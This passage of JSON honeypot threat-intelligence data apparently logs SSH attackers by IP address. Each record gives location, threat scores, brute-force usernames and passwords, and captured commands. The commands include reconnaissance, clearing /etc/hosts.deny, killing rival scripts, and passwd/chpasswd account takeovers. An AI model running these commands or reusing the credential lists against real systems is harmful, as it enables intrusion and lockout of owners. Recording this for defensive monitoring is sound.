    "64.227.129.204": {
      "attack_count": 34514,
      "first_seen": "2026-03-03T08:47:04.154Z",
      "last_seen": "2026-03-03T14:06:06.086Z",
      "sessions": 6859,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "ankurkudintzi",
        "22121990",
        "221221221",
        "221275",
        "221278",
        "221280",
        "221281",
        "221282",
        "221283",
        "221284",
        "221285",
        "221286",
        "221287",
        "221288",
        "221289",
        "221290",
        "221293",
        "222",
        "2222",
        "22221111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 48414,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:47:04.154000+00:00",
        "last_seen_30d": "2026-03-03T14:07:12.903000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34514,
        "Suricata": 13900
      }
    },
    "154.125.147.88": {
      "attack_count": 2047,
      "first_seen": "2026-03-10T01:34:59.825Z",
      "last_seen": "2026-03-22T16:06:33.550Z",
      "sessions": 162,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "n8n",
        "syh",
        "claude",
        "abc",
        "amine",
        "artem",
        "bai",
        "dp",
        "fastuser",
        "friend",
        "gianluca",
        "go",
        "help",
        "hugo",
        "install",
        "lekaren",
        "mslee21"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "password",
        "123456",
        "n8n",
        "123qwe!!!",
        "@123456",
        "Aa12345!",
        "Player123",
        "Syh123",
        "amine1234",
        "fastuser1234",
        "ftpuser2025",
        "mslee211234",
        "11223344",
        "123",
        "1Q2w3e4r!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nFrMVGLdOfroX\\nFrMVGLdOfroX\\n\"|passwd",
        "echo \"123456\\nJwgETI9IaiX9\\nJwgETI9IaiX9\\n\"|passwd",
        "echo \"1234\\ncNmktxOP8b9s\\ncNmktxOP8b9s\\n\"|passwd",
        "echo \"1234\\nwyknGJPLTnLw\\nwyknGJPLTnLw\\n\"|passwd",
        "echo \"Bai123\\n7tYgf0PgETJa\\n7tYgf0PgETJa\\n\"|passwd",
        "echo \"Install123!\\nn6GoJBLCblFf\\nn6GoJBLCblFf\\n\"|passwd",
        "echo \"Sql123\\nPWF0oMFAMMHn\\nPWF0oMFAMMHn\\n\"|passwd",
        "echo \"Syh123\\nLGJB4HhWD73N\\nLGJB4HhWD73N\\n\"|passwd",
        "echo \"Syh123\\nLNrueMX2rZWE\\nLNrueMX2rZWE\\n\"|passwd",
        "echo \"artem123\\n4069Yue3CkzP\\n4069Yue3CkzP\\n\"|passwd"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 37.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 2442,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T01:34:59.825000+00:00",
        "last_seen_30d": "2026-03-22T16:07:38.470000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2047,
        "Suricata": 395
      }
    },
    "60.244.155.70": {
      "attack_count": 932,
      "first_seen": "2026-03-17T08:47:31.089Z",
      "last_seen": "2026-03-24T09:15:20.862Z",
      "sessions": 114,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "showroom",
        "angela",
        "casa",
        "jenkins",
        "k8s",
        "promo",
        "reza",
        "sm",
        "superadmin",
        "vlc",
        "administrador",
        "andre",
        "andy",
        "ansible",
        "apexuser",
        "arm",
        "bitrix",
        "builder"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "password",
        "123",
        "1234",
        "12121212",
        "1234QWer",
        "Aa_123456",
        "Arm123!",
        "Cisco123!",
        "Dev@123",
        "K8s123",
        "Lukas123",
        "Mk123",
        "Odoo123",
        "P@ssw0rd.2024",
        "P@ssw0rd@123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nBLhtGOoqj4O1\\nBLhtGOoqj4O1\\n\"|passwd",
        "echo \"123456\\nbicXydzkr0aL\\nbicXydzkr0aL\\n\"|passwd",
        "echo \"12345\\n6tfssaFNxmze\\n6tfssaFNxmze\\n\"|passwd",
        "echo \"123\\n7WCiop00nQlT\\n7WCiop00nQlT\\n\"|passwd",
        "echo \"sm123\\naM0BNeU7LgVX\\naM0BNeU7LgVX\\n\"|passwd",
        "echo \"superadminpass\\nHzy93ooCdYwZ\\nHzy93ooCdYwZ\\n\"|passwd",
        "echo -e \"123456\\nBLhtGOoqj4O1\\nBLhtGOoqj4O1\"|passwd|bash",
        "echo -e \"123456\\nbicXydzkr0aL\\nbicXydzkr0aL\"|passwd|bash",
        "echo -e \"12345\\n6tfssaFNxmze\\n6tfssaFNxmze\"|passwd|bash",
        "echo -e \"123\\n7WCiop00nQlT\\n7WCiop00nQlT\"|passwd|bash",
        "echo -e \"sm123\\naM0BNeU7LgVX\\naM0BNeU7LgVX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 7482,
      "as_org": "Asia Pacific On-line Service Inc.",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 1202,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T08:47:31.089000+00:00",
        "last_seen_30d": "2026-03-24T09:16:25.036000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 932,
        "Suricata": 270
      }
    },
    "23.249.28.115": {
      "attack_count": 877,
      "first_seen": "2026-03-02T11:24:22.893Z",
      "last_seen": "2026-03-29T09:16:58.598Z",
      "sessions": 70,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bhavesh",
        "elemental",
        "ftpuser2",
        "sa",
        "soporte",
        "amp",
        "bot",
        "ftp_test",
        "grid",
        "hari",
        "jason",
        "labs",
        "lh",
        "mm",
        "ttt",
        "wiki",
        "zhao"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "!@QW12qw",
        "!qwe1234",
        "12345",
        "123456",
        "12345611",
        "12345678",
        "12345678@",
        "@qwer2024",
        "@qwer2025",
        "Abc123456#",
        "Abcd.1234",
        "Amp123",
        "Changeme123",
        "Chen@123",
        "Ds123456",
        "Ft123456",
        "Ftp_test123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\ngO9bNQZefMDW\\ngO9bNQZefMDW\\n\"|passwd",
        "echo \"Password1\\npe8DVg6jNuky\\npe8DVg6jNuky\\n\"|passwd",
        "echo \"Soporte123!\\nwVuRKLTZP4ad\\nwVuRKLTZP4ad\\n\"|passwd",
        "echo \"bhavesh\\npmr3cuHRzVmB\\npmr3cuHRzVmB\\n\"|passwd",
        "echo \"elemental1234\\nluz6xT8lNeG1\\nluz6xT8lNeG1\\n\"|passwd",
        "echo \"root:30tsn57L0BWY\"|chpasswd|bash",
        "echo \"root:3K6nAy0ekWS8\"|chpasswd|bash",
        "echo \"root:LiW732hNaJbE\"|chpasswd|bash",
        "echo \"root:SZYsev0bkRM4\"|chpasswd|bash",
        "echo -e \"123456\\ngO9bNQZefMDW\\ngO9bNQZefMDW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Kowloon",
      "asn": 152156,
      "as_org": "Naruto",
      "threat_score": 61.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1040,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:24:22.893000+00:00",
        "last_seen_30d": "2026-03-29T09:18:00.744000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 877,
        "Suricata": 163
      }
    },
    "45.144.233.139": {
      "attack_count": 640,
      "first_seen": "2026-03-04T12:21:26.243Z",
      "last_seen": "2026-03-25T13:41:02.586Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "clawd",
        "i",
        "peter",
        "sri",
        "ttx",
        "alice",
        "c",
        "dario",
        "f",
        "grid",
        "intell",
        "jason",
        "mcuser",
        "sakura",
        "sameer",
        "shyam",
        "test2",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "1234",
        "12345",
        "123456abcd",
        "13141314",
        "Aa12345678@",
        "Alice123!",
        "Bingo@1993",
        "F123!",
        "I123",
        "Intell123!",
        "Qwer1234@",
        "Root@123",
        "Sa123123",
        "agesci",
        "app@Iot123",
        "clawd@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nsIiRudt5okPz\\nsIiRudt5okPz\\n\"|passwd",
        "echo \"123456\\nGsf664peSi5L\\nGsf664peSi5L\\n\"|passwd",
        "echo \"I123\\nFdUBvihpeu8j\\nFdUBvihpeu8j\\n\"|passwd",
        "echo \"clawd@123\\nUkyrZGgkHzBp\\nUkyrZGgkHzBp\\n\"|passwd",
        "echo \"root:682tZyhKdNsD\"|chpasswd|bash",
        "echo \"root:P6praiowXf0E\"|chpasswd|bash",
        "echo \"root:WahXQKDtcvay\"|chpasswd|bash",
        "echo -e \"12345678\\nsIiRudt5okPz\\nsIiRudt5okPz\"|passwd|bash",
        "echo -e \"123456\\nGsf664peSi5L\\nGsf664peSi5L\"|passwd|bash",
        "echo -e \"I123\\nFdUBvihpeu8j\\nFdUBvihpeu8j\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 47.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.7,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 744,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:21:26.243000+00:00",
        "last_seen_30d": "2026-03-25T13:42:05.374000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 640,
        "Suricata": 104
      }
    },
    "114.130.85.36": {
      "attack_count": 545,
      "first_seen": "2026-03-03T18:21:32.384Z",
      "last_seen": "2026-03-11T20:06:31.679Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "astra",
        "cristi",
        "devops",
        "kevin",
        "awsuser",
        "beehive",
        "claude",
        "cockpit",
        "frappeuser",
        "n8n",
        "pepe",
        "plex",
        "sam",
        "shawn",
        "sinusbot",
        "stan",
        "syncthing",
        "vscode"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "!QAZ1qaz",
        "123456",
        "12345678",
        "820927",
        "Asd123456!",
        "Bingo@1993",
        "Lala1234",
        "Ly123456@",
        "Qq123456",
        "Qwer123456",
        "Root123#",
        "Shawn123",
        "astra123",
        "awsuser123",
        "calvin",
        "claude",
        "cockpit"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\n1UG9ZFR9TAlv\\n1UG9ZFR9TAlv\\n\"|passwd",
        "echo \"123\\nev49OKHB9oY0\\nev49OKHB9oY0\\n\"|passwd",
        "echo \"astra123\\nCpzp99NBXXYe\\nCpzp99NBXXYe\\n\"|passwd",
        "echo \"kevin\\nXvsaC0urxub4\\nXvsaC0urxub4\\n\"|passwd",
        "echo \"root:jAJ4ToQReHmI\"|chpasswd|bash",
        "echo -e \"123\\n1UG9ZFR9TAlv\\n1UG9ZFR9TAlv\"|passwd|bash",
        "echo -e \"123\\nev49OKHB9oY0\\nev49OKHB9oY0\"|passwd|bash",
        "echo -e \"astra123\\nCpzp99NBXXYe\\nCpzp99NBXXYe\"|passwd|bash",
        "echo -e \"kevin\\nXvsaC0urxub4\\nXvsaC0urxub4\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 17806,
      "as_org": "Tire-1 IP Transit Provider of Bangladesh",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.2,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 655,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:21:32.384000+00:00",
        "last_seen_30d": "2026-03-11T20:07:41.416000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 545,
        "Suricata": 110
      }
    },
    "96.92.63.243": {
      "attack_count": 520,
      "first_seen": "2026-03-16T07:13:14.647Z",
      "last_seen": "2026-03-22T18:15:30.226Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "adi",
        "debian",
        "demo1",
        "m1",
        "user8",
        "abcd",
        "airflow",
        "anthony",
        "backup",
        "bruno",
        "conectar",
        "consultor",
        "cy",
        "dylan",
        "kapsch",
        "kiran",
        "ks",
        "lankacom"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "password",
        "1234",
        "@aA123456",
        "Anthony",
        "Consultor123!",
        "Tsbot123",
        "User8123!",
        "abcd123",
        "admin2020",
        "airflow",
        "backupbackup",
        "brunopass",
        "changeit",
        "conectarconectar",
        "cy1234",
        "demo1@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nhsPEWzd8AAqB\\nhsPEWzd8AAqB\\n\"|passwd",
        "echo \"12345\\nw8mvetwF4xxh\\nw8mvetwF4xxh\\n\"|passwd",
        "echo \"User8123!\\nSFSLgOZaVI6G\\nSFSLgOZaVI6G\\n\"|passwd",
        "echo \"demo1@123\\n5RYPstWnNqur\\n5RYPstWnNqur\\n\"|passwd",
        "echo \"password\\nYw5ETB7wyUUR\\nYw5ETB7wyUUR\\n\"|passwd",
        "echo -e \"12345678\\nhsPEWzd8AAqB\\nhsPEWzd8AAqB\"|passwd|bash",
        "echo -e \"12345\\nw8mvetwF4xxh\\nw8mvetwF4xxh\"|passwd|bash",
        "echo -e \"User8123!\\nSFSLgOZaVI6G\\nSFSLgOZaVI6G\"|passwd|bash",
        "echo -e \"demo1@123\\n5RYPstWnNqur\\n5RYPstWnNqur\"|passwd|bash",
        "echo -e \"password\\nYw5ETB7wyUUR\\nYw5ETB7wyUUR\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Bloomfield Hills",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 623,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T07:13:14.647000+00:00",
        "last_seen_30d": "2026-03-22T18:16:36.274000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 520,
        "Suricata": 103
      }
    },
    "31.6.212.12": {
      "attack_count": 514,
      "first_seen": "2026-03-21T20:58:09.633Z",
      "last_seen": "2026-03-30T00:35:55.628Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dsadm",
        "student7",
        "allen",
        "alpha",
        "ana",
        "appuser",
        "arch",
        "cam",
        "cassandra",
        "charlie",
        "fivem",
        "ghost",
        "intell",
        "jan",
        "john",
        "max",
        "mysql",
        "nagios"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "!@#qwe123456",
        "123",
        "123456",
        "1q2q3q4q5q6q7q",
        "1z2x3c!@#",
        "2233445566",
        "Admin123$%",
        "Arch",
        "Ga123456.",
        "Hy!123456",
        "Nitin@2025",
        "Panda",
        "Password@11",
        "Ps123456!",
        "Root1234%^",
        "Root@2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nKFXqyVoTJVqI\\nKFXqyVoTJVqI\\n\"|passwd",
        "echo \"Student7123\\nYrYwqygFZjm9\\nYrYwqygFZjm9\\n\"|passwd",
        "echo \"root:PY9W24FVrP5c\"|chpasswd|bash",
        "echo \"root:hJNzLlna2n8s\"|chpasswd|bash",
        "echo -e \"12345678\\nKFXqyVoTJVqI\\nKFXqyVoTJVqI\"|passwd|bash",
        "echo -e \"Student7123\\nYrYwqygFZjm9\\nYrYwqygFZjm9\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Gnojnik",
      "asn": 21021,
      "as_org": "Multimedia Polska Sp. z o.o.",
      "threat_score": 46.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.1,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 650,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T20:58:09.633000+00:00",
        "last_seen_30d": "2026-03-30T00:40:21.241000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 514,
        "Suricata": 136
      }
    },
    "103.153.110.190": {
      "attack_count": 500,
      "first_seen": "2026-03-04T09:35:50.245Z",
      "last_seen": "2026-03-12T23:06:01.514Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "myftp",
        "term2",
        "test01",
        "vicente",
        "admin",
        "ais",
        "apolo",
        "clawd",
        "client1",
        "dhkim",
        "edward",
        "ekp",
        "family",
        "ftpuser2",
        "i",
        "lee",
        "samba"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "1234",
        "123456",
        "345gs5662d34",
        "123",
        "12345678",
        "123456zx",
        "123qwe,.",
        "A123456.",
        "A123@123",
        "Aa123456..",
        "Admin123#",
        "Hw@123456",
        "Passw0rd",
        "Term2123!",
        "Toro123",
        "Zjm123!",
        "aa879162",
        "abc123..",
        "apolo"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nnrugZ60L6RsD\\nnrugZ60L6RsD\\n\"|passwd",
        "echo \"Term2123!\\nle5VZzWH6eNs\\nle5VZzWH6eNs\\n\"|passwd",
        "echo \"myftp123\\niTIIWlphzasp\\niTIIWlphzasp\\n\"|passwd",
        "echo \"vicente123\\net8KnFLmoowG\\net8KnFLmoowG\\n\"|passwd",
        "echo -e \"1234\\nnrugZ60L6RsD\\nnrugZ60L6RsD\"|passwd|bash",
        "echo -e \"Term2123!\\nle5VZzWH6eNs\\nle5VZzWH6eNs\"|passwd|bash",
        "echo -e \"myftp123\\niTIIWlphzasp\\niTIIWlphzasp\"|passwd|bash",
        "echo -e \"vicente123\\net8KnFLmoowG\\net8KnFLmoowG\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 140917,
      "as_org": "ERA TRADERS",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 624,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T09:35:50.245000+00:00",
        "last_seen_30d": "2026-03-12T23:07:10.751000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 500,
        "Suricata": 124
      }
    },
    "27.79.46.4": {
      "attack_count": 497,
      "first_seen": "2026-03-18T15:49:39.266Z",
      "last_seen": "2026-03-18T16:17:01.029Z",
      "sessions": 99,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "developer",
        "ftp",
        "monitor",
        "*****",
        "1234",
        "123456",
